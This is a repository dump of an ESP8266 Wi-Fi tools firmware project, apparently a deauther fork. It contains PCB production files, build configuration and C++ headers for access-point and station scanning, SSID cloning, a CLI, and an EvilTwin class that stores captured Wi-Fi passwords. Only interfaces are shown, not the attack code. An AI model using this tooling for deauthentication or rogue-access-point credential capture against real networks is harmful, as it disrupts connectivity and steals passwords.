152.4,-105.41,180.0,bottom,R1,,Resistor,Resistor,tht,True 10 | 165.1,-105.41,180.0,bottom,R2,,Resistor,Resistor,tht,True 11 | 145.415,-102.235,-90.0,bottom,RX,,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,tht,True 12 | 145.415,-99.695,-90.0,bottom,TX,,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,tht,True 13 | 150.876,-119.38,0.0,top,UP,,SW_PUSH_6mm,SW_PUSH_6mm,tht,True 14 | -------------------------------------------------------------------------------- /WiFi Tik II/pcbway_production/2024-01-18-19-02-34/miawifitools.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/pcbway_production/2024-01-18-19-02-34/miawifitools.zip -------------------------------------------------------------------------------- /WiFi Tik II/pcbway_production/2024-01-19-14-52-54/miaw-wifitools.kicad_pcb_bom.csv: -------------------------------------------------------------------------------- 1 | designator,quantity,value,pack,mpn,mount_type 2 | ,1,oled,oled,,tht 3 | (D1 MINI),1,Wemos-D1-mini,wemos-d1-mini-connectors-only,,tht 4 | "A, B, DOWN, UP",4,SW_PUSH_6mm,SW_PUSH_6mm,,tht 5 | Battery,1,Power 5V,Power 5V,,smt 6 | "HOLE, HOLE, HOLE, HOLE",4,MountingHole_2.1mm,MountingHole_2.1mm,,tht 7 | LED,1,LED_Cree-XQ_HandSoldering,LED_Cree-XQ_HandSoldering,,smt 8 | "R1, R2",2,Resistor,Resistor,,tht 9 | "RX, TX",2,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,,tht 10 | -------------------------------------------------------------------------------- /WiFi Tik II/pcbway_production/2024-01-19-14-52-54/miaw-wifitools.kicad_pcb_positions.csv: -------------------------------------------------------------------------------- 1 | pos_x,pos_y,rotation,side,designator,mpn,pack,value,mount_type,place 2 | 158.75,-93.98,0.0,top,,,oled,oled,tht,True 3 | 158.75,-123.825,90.0,bottom,(D1 MINI),,wemos-d1-mini-connectors-only,Wemos-D1-mini,tht,True 4 | 160.401,-119.325,0.0,top,A,,SW_PUSH_6mm,SW_PUSH_6mm,tht,True 5 | 160.315,-128.215,0.0,top,B,,SW_PUSH_6mm,SW_PUSH_6mm,tht,True 6 | 167.386,-86.884,180.0,bottom,Battery,,Power 5V,Power 5V,smt,True 7 | 150.865,-128.215,0.0,top,DOWN,,SW_PUSH_6mm,SW_PUSH_6mm,tht,True 8 | 145.288,-141.224,0.0,top,HOLE,,MountingHole_2.1mm,MountingHole_2.1mm,tht,False 9 | 145.288,-84.328,0.0,top,HOLE,,MountingHole_2.1mm,MountingHole_2.1mm,tht,False 10 | 172.212,-141.224,0.0,top,HOLE,,MountingHole_2.1mm,MountingHole_2.1mm,tht,False 11 | 172.212,-84.328,0.0,top,HOLE,,MountingHole_2.1mm,MountingHole_2.1mm,tht,False 12 | 158.75,-115.57,0.0,top,LED,,LED_Cree-XQ_HandSoldering,LED_Cree-XQ_HandSoldering,smt,True 13 | 152.4,-105.41,180.0,bottom,R1,,Resistor,Resistor,tht,True 14 | 165.1,-105.41,180.0,bottom,R2,,Resistor,Resistor,tht,True 15 | 145.415,-102.235,-90.0,bottom,RX,,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,tht,True 16 | 145.415,-99.695,-90.0,bottom,TX,,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork,tht,True 17 | 150.876,-119.38,0.0,top,UP,,SW_PUSH_6mm,SW_PUSH_6mm,tht,True 18 | -------------------------------------------------------------------------------- /WiFi Tik II/pcbway_production/2024-01-19-14-52-54/wifitools.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/pcbway_production/2024-01-19-14-52-54/wifitools.zip -------------------------------------------------------------------------------- /WiFi Tik II/preview2.0/bottom.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/preview2.0/bottom.png -------------------------------------------------------------------------------- /WiFi Tik II/preview2.0/top.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik II/preview2.0/top.png -------------------------------------------------------------------------------- /arduino-cli.yaml: -------------------------------------------------------------------------------- 1 | # arduino-cli.yaml 2 | board_manager: 3 | additional_urls: 4 | - https://raw.githubusercontent.com/SpacehuhnTech/arduino/main/package_spacehuhn_index.json 5 | -------------------------------------------------------------------------------- /esp8266_wifitools/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | -------------------------------------------------------------------------------- /esp8266_wifitools/.vscode/arduino.json: -------------------------------------------------------------------------------- 1 | { 2 | "configuration": "deauther_config=none,ResetMethod=nodemcu,CrystalFreq=26,FlashFreq=40,FlashMode=dout,eesz=1M64,led=2,xtal=160,vt=flash,exception=legacy,ssl=all,dbg=Disabled,lvl=None____,ip=lm2f,wipe=none,baud=921600", 3 | "board": "deauther:esp8266:generic", 4 | "sketch": "esp8266_wifitools.ino", 5 | "port": "/dev/ttyUSB0" 6 | } -------------------------------------------------------------------------------- /esp8266_wifitools/.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "files.associations": { 3 | "algorithm": "cpp", 4 | "array": "cpp", 5 | "initializer_list": "cpp" 6 | } 7 | } -------------------------------------------------------------------------------- /esp8266_wifitools/Accesspoints.h: -------------------------------------------------------------------------------- 1 | /* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ 2 | 3 | #pragma once 4 | 5 | #include "Arduino.h" 6 | #include 7 | extern "C" { 8 | #include "user_interface.h" 9 | } 10 | #include "language.h" 11 | #include "SimpleList.h" 12 | #include "Names.h" 13 | 14 | extern Names names; 15 | 16 | extern String searchVendor(uint8_t* mac); 17 | extern String leftRight(String a, String b, int len); 18 | extern String fixUtf8(String str); 19 | extern String bytesToStr(const uint8_t* b, uint32_t size); 20 | 21 | struct AP { 22 | uint8_t id; 23 | bool selected; 24 | }; 25 | 26 | class Accesspoints { 27 | public: 28 | Accesspoints(); 29 | 30 | void sort(); 31 | void sortAfterChannel(); 32 | 33 | void add(uint8_t id, bool selected); 34 | 35 | void print(int num); 36 | void print(int num, bool header, bool footer); 37 | 38 | void select(int num); 39 | void deselect(int num); 40 | void remove(int num); 41 | void select(String ssid); 42 | void deselect(String ssid); 43 | void remove(String ssid); 44 | 45 | void printAll(); 46 | void printSelected(); 47 | void selectAll(); 48 | void deselectAll(); 49 | void removeAll(); 50 | 51 | String getSSID(int num); 52 | String getNameStr(int num); 53 | String getEncStr(int num); 54 | String getMacStr(int num); 55 | String getVendorStr(int num); 56 | String getSelectedStr(int num); 57 | uint8_t getCh(int num); 58 | uint8_t getEnc(int num); 59 | uint8_t getID(int num); 60 | int getRSSI(int num); 61 | uint8_t* getMac(int num); 62 | bool getHidden(int num); 63 | bool getSelected(int num); 64 | 65 | int find(uint8_t id); 66 | 67 | int count(); 68 | int selected(); 69 | 70 | bool check(int num); 71 | bool changed = false; 72 | 73 | private: 74 | SimpleList* list; 75 | 76 | bool internal_check(int num); 77 | void internal_select(int num); 78 | void internal_deselect(int num); 79 | void internal_remove(int num); 80 | }; -------------------------------------------------------------------------------- /esp8266_wifitools/BatteryManagement.cpp: -------------------------------------------------------------------------------- 1 | #include "BatteryManagement.h" 2 | 3 | float BatteryManagement::mapfloat(float x, float in_min, float in_max, float out_min, float out_max) 4 | { 5 | return (x - in_min) * (out_max - out_min) / (in_max - in_min) + out_min; 6 | } 7 | int BatteryManagement::getBatteryPercentage5V(){ 8 | sensorValue = analogRead(analogInPin); 9 | float voltage = (((sensorValue * 3.3) / 1024) * 2 + calibration); //multiply by two as voltage divider network is 100K & 100K Resistor 10 | 11 | if (millis() - lastMillisBatt >= 1 * 1000){ 12 | bat_percentage = mapfloat(voltage, 2.8, 4.2, 0, 100); 13 | pureVolt = bat_percentage; 14 | lastMillisBatt = millis(); 15 | } 16 | 17 | if (bat_percentage>= 100) 18 | { 19 | bat_percentage = 100; 20 | } 21 | if (bat_percentage<= 0) 22 | { 23 | bat_percentage = 1; 24 | } 25 | 26 | return (int)bat_percentage; 27 | } 28 | 29 | int BatteryManagement::getBatteryPercentage(int max){ 30 | float tmpPwr = getBatteryPercentage5V(); 31 | 32 | // Scale the percentage relative to the maximum value of 67 33 | tmpPwr = (tmpPwr / max) * 100; 34 | 35 | // Ensure tmpPwr is within the valid range 36 | if (tmpPwr > 100){ 37 | tmpPwr = 100; 38 | } else if (tmpPwr < 0){ 39 | tmpPwr = 0; 40 | } 41 | 42 | return (int)tmpPwr; 43 | } 44 | 45 | bool BatteryManagement::isChargingMode(){ 46 | return false; 47 | } -------------------------------------------------------------------------------- /esp8266_wifitools/BatteryManagement.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | class BatteryManagement { 6 | public: 7 | float pureVolt = 0; 8 | 9 | int getBatteryPercentage5V(); 10 | int getBatteryPercentage(int max); 11 | bool isChargingMode(); 12 | 13 | private: 14 | int analogInPin = A0; 15 | int sensorValue; 16 | float calibration; 17 | int lastMillisBatt = 0; 18 | float bat_percentage = 65; 19 | 20 | float mapfloat(float x, float in_min, float in_max, float out_min, float out_max); 21 | 22 | }; -------------------------------------------------------------------------------- /esp8266_wifitools/CLI.h: -------------------------------------------------------------------------------- 1 | /* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ 2 | 3 | #pragma once 4 | 5 | #include "Arduino.h" 6 | #include 7 | extern "C" { 8 | #include "user_interface.h" 9 | } 10 | #include "language.h" 11 | #include "A_config.h" 12 | #include "SimpleList.h" 13 | #include "Names.h" 14 | #include "SSIDs.h" 15 | #include "Scan.h" 16 | #include "Attack.h" 17 | #include "DisplayUI.h" 18 | #include "led.h" 19 | 20 | extern Names names; 21 | extern SSIDs ssids; 22 | extern Accesspoints accesspoints; 23 | extern Stations stations; 24 | extern Scan scan; 25 | extern Attack attack; 26 | extern DisplayUI displayUI; 27 | extern uint32_t currentTime; 28 | extern uint32_t autosaveTime; 29 | 30 | extern String macToStr(const uint8_t* mac); 31 | extern bool strToMac(String macStr, uint8_t* mac); 32 | extern bool strToIP(String ipStr, uint8_t* ip); 33 | extern void strToColor(String str, uint8_t* buf); 34 | extern void readFileToSerial(String path, bool showLineNum); 35 | extern bool readFile(String path, String& buf); 36 | extern bool removeFile(String path); 37 | extern bool copyFile(String pathFrom, String pathTo); 38 | extern bool renameFile(String pathFrom, String pathTo); 39 | extern bool appendFile(String path, String& buf); 40 | extern bool removeLines(String path, int lineFrom, int lineTo); 41 | extern bool replaceLine(String path, int line, String& buf); 42 | extern bool equalsKeyword(const char* str, const char* keyword); 43 | 44 | class CLI { 45 | public: 46 | CLI(); 47 | ~CLI(); 48 | 49 | void load(); 50 | void load(String filepath); 51 | 52 | void enable(); 53 | void disable(); 54 | 55 | void update(); 56 | void stop(); 57 | 58 | void enableDelay(uint32_t delayTime); 59 | 60 | void exec(String input); 61 | void execFile(String path); 62 | void runLine(String input); 63 | void runCommand(String input); 64 | 65 | private: 66 | bool enabled = false; 67 | 68 | SimpleList* list; 69 | SimpleList* queue; 70 | 71 | bool delayed = false; 72 | uint32_t delayTime = 0; 73 | uint32_t delayStartTime = 0; 74 | 75 | String execPath = "/autostart.txt"; 76 | 77 | struct Keyword { 78 | const char* name; 79 | const char* shortName; 80 | const char* alt; 81 | }; 82 | 83 | void error(String message); 84 | void parameterError(String parameter); 85 | bool isInt(String str); 86 | int toInt(String str); 87 | uint32_t getTime(String time); 88 | bool eqlsCMD(int i, const char* keyword); 89 | }; -------------------------------------------------------------------------------- /esp8266_wifitools/EEPROMHelper.h: -------------------------------------------------------------------------------- 1 | /* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ 2 | 3 | #pragma once 4 | 5 | // ========== Includes ========== // 6 | #include 7 | 8 | // ========== Boot Counter Structure ========== // 9 | 10 | // Used for memory verificaiton 11 | #define BOOT_MAGIC_NUM 1234567890 12 | 13 | typedef struct boot { 14 | unsigned int magic_num : 32; 15 | unsigned int boot_num : 8; 16 | } boot; 17 | 18 | // ========== EEPROM Helper Class ========== // 19 | class EEPROMHelper { 20 | public: 21 | static void begin(const int eepromSize) { 22 | EEPROM.begin(eepromSize); 23 | } 24 | 25 | static void end() { 26 | EEPROM.end(); 27 | } 28 | 29 | template 30 | static void saveObject(const int address, const T& t) { 31 | EEPROM.put(address, t); 32 | 33 | EEPROM.commit(); 34 | } 35 | 36 | template 37 | static void getObject(const int address, const T& t) { 38 | EEPROM.get(address, t); 39 | } 40 | 41 | static bool checkBootNum(const int address) { 42 | boot b; 43 | 44 | EEPROM.get(address, b); 45 | 46 | if ((b.magic_num == BOOT_MAGIC_NUM) && (b.boot_num < 3)) { 47 | saveObject(address, boot{ BOOT_MAGIC_NUM, ++b.boot_num }); 48 | return true; 49 | } 50 | 51 | return false; 52 | } 53 | 54 | static void resetBootNum(const int address) { 55 | saveObject(address, boot{ BOOT_MAGIC_NUM, 1 }); 56 | } 57 | 58 | static void format(unsigned long size) { 59 | for (unsigned long i = 0; i // Add this line to include the necessary header for String 5 | #include "ESP8266WiFi.h" 6 | #include "DNSServer.h" 7 | #include "ESP8266WebServer.h" 8 | 9 | class EvilTwin { 10 | public: 11 | static String ssidT; 12 | static String pass; 13 | static String passTesting; 14 | 15 | static void start(const char* ap); 16 | static void stop(); 17 | static String getpass(); 18 | 19 | static bool isRunning(); 20 | static void update(); 21 | }; 22 | 23 | #endif -------------------------------------------------------------------------------- /esp8266_wifitools/Names.h: -------------------------------------------------------------------------------- 1 | /* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ 2 | 3 | #pragma once 4 | 5 | #include 6 | extern "C" { 7 | #include "user_interface.h" 8 | } 9 | #include "src/ArduinoJson-v5.13.5/ArduinoJson.h" 10 | #include "language.h" 11 | #include "SimpleList.h" 12 | 13 | #define NAME_LIST_SIZE 25 14 | #define NAME_MAX_LENGTH 17 15 | 16 | extern void checkFile(String path, String data); 17 | extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer); 18 | extern bool writeFile(String path, String& buf); 19 | extern bool appendFile(String path, String& buf); 20 | extern bool strToMac(String macStr, uint8_t* mac); 21 | extern String searchVendor(uint8_t* mac); 22 | extern String fixUtf8(String str); 23 | extern String leftRight(String a, String b, int len); 24 | extern String escape(String str); 25 | extern String bytesToStr(const uint8_t* b, uint32_t size); 26 | 27 | class Names { 28 | public: 29 | Names(); 30 | 31 | void load(); 32 | void load(String filepath); 33 | void save(bool force); 34 | void save(bool force, String filepath); 35 | void sort(); 36 | 37 | String find(uint8_t* mac); 38 | int findID(uint8_t* mac); 39 | 40 | void print(int num); 41 | void print(int num, bool header, bool footer); 42 | void select(int num); 43 | void select(String name); 44 | void deselect(int num); 45 | void deselect(String name); 46 | void add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force); 47 | void add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force); 48 | void replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected); 49 | void remove(int num); 50 | 51 | void printAll(); 52 | void printSelected(); 53 | void selectAll(); 54 | void deselectAll(); 55 | void removeAll(); 56 | 57 | uint8_t* getMac(int num); 58 | uint8_t* getBssid(int num); 59 | String getMacStr(int num); 60 | String getBssidStr(int num); 61 | String getName(int num); 62 | String getVendorStr(int num); 63 | String getSelectedStr(int num); 64 | uint8_t getCh(int num); 65 | bool getSelected(int num); 66 | bool isStation(int num); 67 | 68 | void setName(int num, String name); 69 | void setMac(int num, String macStr); 70 | void setCh(int num, uint8_t ch); 71 | void setBSSID(int num, String bssidStr); 72 | 73 | int count(); 74 | int selected(); 75 | int stations(); 76 | 77 | bool check(int num); 78 | 79 | private: 80 | String FILE_PATH = "/names.json"; 81 | bool changed = false; 82 | 83 | struct Device { 84 | uint8_t* mac; // mac address 85 | char * name; // name of saved device 86 | uint8_t* apBssid; // mac address of AP (if saved device is a station) 87 | uint8_t ch; // Wi-Fi channel of Device 88 | bool selected; // select for attacking 89 | }; 90 | 91 | SimpleList* list; 92 | 93 | int binSearch(uint8_t* searchBytes, int lowerEnd, int upperEnd); 94 | bool internal_check(int num); 95 | void internal_select(int num); 96 | void internal_deselect(int num); 97 | void internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected); 98 | void internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected); 99 | void internal_remove(int num); 100 | void internal_removeAll(); 101 | }; -------------------------------------------------------------------------------- /esp8266_wifitools/SSIDs.h: -------------------------------------------------------------------------------- 1 | /* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ 2 | 3 | #pragma once 4 | 5 | #include "Arduino.h" 6 | #include 7 | extern "C" { 8 | #include "user_interface.h" 9 | } 10 | #include "src/ArduinoJson-v5.13.5/ArduinoJson.h" 11 | #include "language.h" 12 | #include "SimpleList.h" 13 | #include "Accesspoints.h" 14 | 15 | #define SSID_LIST_SIZE 60 16 | 17 | 18 | extern uint32_t currentTime; 19 | extern Accesspoints accesspoints; 20 | 21 | extern void checkFile(String path, String data); 22 | extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer); 23 | extern bool appendFile(String path, String& buf); 24 | extern bool writeFile(String path, String& buf); 25 | extern void readFileToSerial(String path); 26 | extern String fixUtf8(String str); 27 | extern String leftRight(String a, String b, int len); 28 | extern String escape(String str); 29 | 30 | class SSIDs { 31 | public: 32 | SSIDs(); 33 | 34 | void load(); 35 | void load(String filepath); 36 | void save(bool force); 37 | void save(bool force, String filepath); 38 | void update(); 39 | 40 | void print(int num); 41 | void print(int num, bool header, bool footer); 42 | void add(String name, bool wpa2, int clones, bool force); 43 | void cloneSelected(bool force); 44 | void remove(int num); 45 | void enableRandom(uint32_t randomInterval); 46 | void disableRandom(); 47 | bool getRandom(); 48 | 49 | String getName(int num); 50 | bool getWPA2(int num); 51 | String getEncStr(int num); 52 | int getLen(int num); 53 | 54 | void setWPA2(int num, bool wpa2); 55 | void replace(int num, String name, bool wpa2); 56 | 57 | void printAll(); 58 | void removeAll(); 59 | 60 | int count(); 61 | 62 | private: 63 | bool changed = false; 64 | bool randomMode = false; 65 | uint32_t randomInterval = 2000; 66 | uint32_t randomTime = 0; 67 | 68 | struct SSID { 69 | String name; // SSID 70 | bool wpa2; // WPA2 encrypted or not 71 | uint8_t len; // original length (before editing it to be 32 characters) 72 | }; 73 | 74 | String FILE_PATH = "/ssids.json"; 75 | 76 | SimpleList* list; 77 | 78 | bool check(int num); 79 | String randomize(String name); 80 | 81 | void internal_add(String name, bool wpa2, int add); 82 | void internal_remove(int num); 83 | void internal_removeAll(); 84 | }; -------------------------------------------------------------------------------- /esp8266_wifitools/Scan.h: -------------------------------------------------------------------------------- 1 | /* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ 2 | 3 | #pragma once 4 | 5 | #include "Arduino.h" 6 | #include "Accesspoints.h" 7 | #include "Stations.h" 8 | #include "Names.h" 9 | #include "SSIDs.h" 10 | #include "language.h" 11 | #include "SimpleList.h" 12 | 13 | #define SCAN_MODE_OFF 0 14 | #define SCAN_MODE_APS 1 15 | #define SCAN_MODE_STATIONS 2 16 | #define SCAN_MODE_ALL 3 17 | #define SCAN_MODE_SNIFFER 4 18 | #define SCAN_DEFAULT_TIME 15000 19 | #define SCAN_DEFAULT_CONTINUE_TIME 10000 20 | #define SCAN_PACKET_LIST_SIZE 64 21 | 22 | extern Accesspoints accesspoints; 23 | extern Stations stations; 24 | extern Names names; 25 | extern SSIDs ssids; 26 | 27 | extern uint8_t wifiMode; 28 | 29 | extern void setWifiChannel(uint8_t ch, bool force); 30 | extern bool appendFile(String path, String& buf); 31 | extern bool writeFile(String path, String& buf); 32 | extern void readFileToSerial(const String path); 33 | extern String escape(String str); 34 | 35 | class Scan { 36 | public: 37 | Scan(); 38 | 39 | void sniffer(uint8_t* buf, uint16_t len); 40 | void start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, uint8_t channel); 41 | void start(uint8_t mode); 42 | 43 | void setup(); 44 | void update(); 45 | void stop(); 46 | void save(bool force); 47 | void save(bool force, String filePath); 48 | 49 | void selectAll(); 50 | void deselectAll(); 51 | void printAll(); 52 | void printSelected(); 53 | 54 | uint8_t getPercentage(); 55 | uint32_t getPackets(int i); 56 | uint32_t countAll(); 57 | uint32_t countSelected(); 58 | bool isScanning(); 59 | bool isSniffing(); 60 | 61 | void nextChannel(); 62 | void setChannel(uint8_t newChannel); 63 | 64 | String getMode(); 65 | double getScaleFactor(uint8_t height); 66 | uint32_t getMaxPacket(); 67 | uint32_t getPacketRate(); 68 | String getEndSSID(); 69 | String getEndRSSI(); 70 | 71 | uint16_t deauths = 0; 72 | uint16_t packets = 0; 73 | 74 | private: 75 | SimpleList* list; // packet list 76 | 77 | uint32_t sniffTime = SCAN_DEFAULT_TIME; // how long the scan runs 78 | uint32_t snifferStartTime = 0; // when the scan started 79 | uint32_t snifferOutputTime = 0; // last info output (every 3s) 80 | uint32_t snifferChannelTime = 0; // last time the channel was changed 81 | uint32_t snifferPacketTime = 0; // last time the packet rate was reseted (every 1s) 82 | 83 | uint8_t scanMode = 0; 84 | 85 | uint8_t scan_continue_mode = 0; // restart mode after scan stopped 86 | uint32_t continueTime = SCAN_DEFAULT_CONTINUE_TIME; // time in ms to wait until scan restarts 87 | uint32_t continueStartTime = 0; // when scan restarted 88 | 89 | bool channelHop = true; 90 | uint16_t tmpDeauths = 0; 91 | 92 | bool apWithChannel(uint8_t ch); 93 | int findAccesspoint(uint8_t* mac); 94 | 95 | String FILE_PATH = "/scan.json"; 96 | }; -------------------------------------------------------------------------------- /esp8266_wifitools/Stations.h: -------------------------------------------------------------------------------- 1 | /* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ 2 | 3 | #pragma once 4 | 5 | #include "Arduino.h" 6 | extern "C" { 7 | #include "user_interface.h" 8 | } 9 | #include "language.h" 10 | #include "SimpleList.h" 11 | #include "Accesspoints.h" 12 | #include "Names.h" 13 | 14 | #define STATION_LIST_SIZE 60 15 | extern Accesspoints accesspoints; 16 | extern Names names; 17 | extern uint8_t wifi_channel; 18 | extern uint32_t currentTime; 19 | 20 | extern String searchVendor(uint8_t* mac); 21 | extern bool macMulticast(uint8_t* mac); 22 | extern bool macValid(uint8_t* mac); 23 | extern bool macBroadcast(uint8_t* mac); 24 | extern String bytesToStr(const uint8_t* b, uint32_t size); 25 | 26 | class Stations { 27 | public: 28 | Stations(); 29 | 30 | void sort(); 31 | void sortAfterChannel(); 32 | 33 | void select(int num); 34 | void deselect(int num); 35 | void remove(int num); 36 | 37 | void select(String ssid); 38 | void deselect(String ssid); 39 | void remove(String ssid); 40 | 41 | void add(uint8_t* mac, int accesspointNum); 42 | 43 | void selectAll(); 44 | void deselectAll(); 45 | void removeAll(); 46 | void removeOldest(); 47 | 48 | String getNameStr(int num); 49 | String getAPStr(int num); 50 | String getMacStr(int num); 51 | String getMacVendorStr(int num); 52 | String getVendorStr(int num); 53 | String getTimeStr(int num); 54 | String getSelectedStr(int num); 55 | uint8_t* getAPMac(int num); 56 | String getAPMacStr(int num); 57 | uint8_t* getMac(int num); 58 | uint32_t* getPkts(int num); 59 | uint32_t* getTime(int num); 60 | uint8_t getCh(int num); 61 | int getAP(int num); 62 | bool getSelected(int num); 63 | bool hasName(int num); 64 | 65 | void print(int num); 66 | void print(int num, bool header, bool footer); 67 | void printAll(); 68 | void printSelected(); 69 | 70 | int count(); 71 | int selected(); 72 | 73 | bool check(int num); 74 | bool changed = false; 75 | 76 | private: 77 | struct Station { 78 | uint8_t ap; 79 | uint8_t ch; 80 | uint8_t * mac; 81 | uint32_t* pkts; 82 | uint32_t* time; 83 | bool selected; 84 | }; 85 | 86 | SimpleList* list; 87 | 88 | int findStation(uint8_t* mac); 89 | int findAccesspoint(uint8_t* mac); 90 | 91 | bool internal_check(int num); 92 | void internal_select(int num); 93 | void internal_deselect(int num); 94 | void internal_add(uint8_t* mac, int accesspointNum); 95 | void internal_remove(int num); 96 | void internal_removeAll(); 97 | }; -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/LICENSE.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/LICENSE.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/attack.html.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/attack.html.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/index.html.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/index.html.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/info.html.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/info.html.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/js/attack.js.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/js/attack.js.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/js/scan.js.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/js/scan.js.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/js/settings.js.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/js/settings.js.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/js/site.js.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/js/site.js.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/js/ssids.js.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/js/ssids.js.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/lang/cn.lang.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/lang/cn.lang.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/lang/cs.lang.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/lang/cs.lang.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/lang/da.lang.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/lang/da.lang.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/lang/de.lang.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/lang/de.lang.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/lang/en.lang.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/lang/en.lang.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/lang/es.lang.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/lang/es.lang.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/lang/fi.lang.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/lang/fi.lang.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/lang/fr.lang.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/lang/fr.lang.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/lang/hu.lang.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/esp8266_wifitools/data/web/lang/hu.lang.gz -------------------------------------------------------------------------------- /esp8266_wifitools/data/web/lang/in.lang.gz: -------------------------------------------------------------------------------- 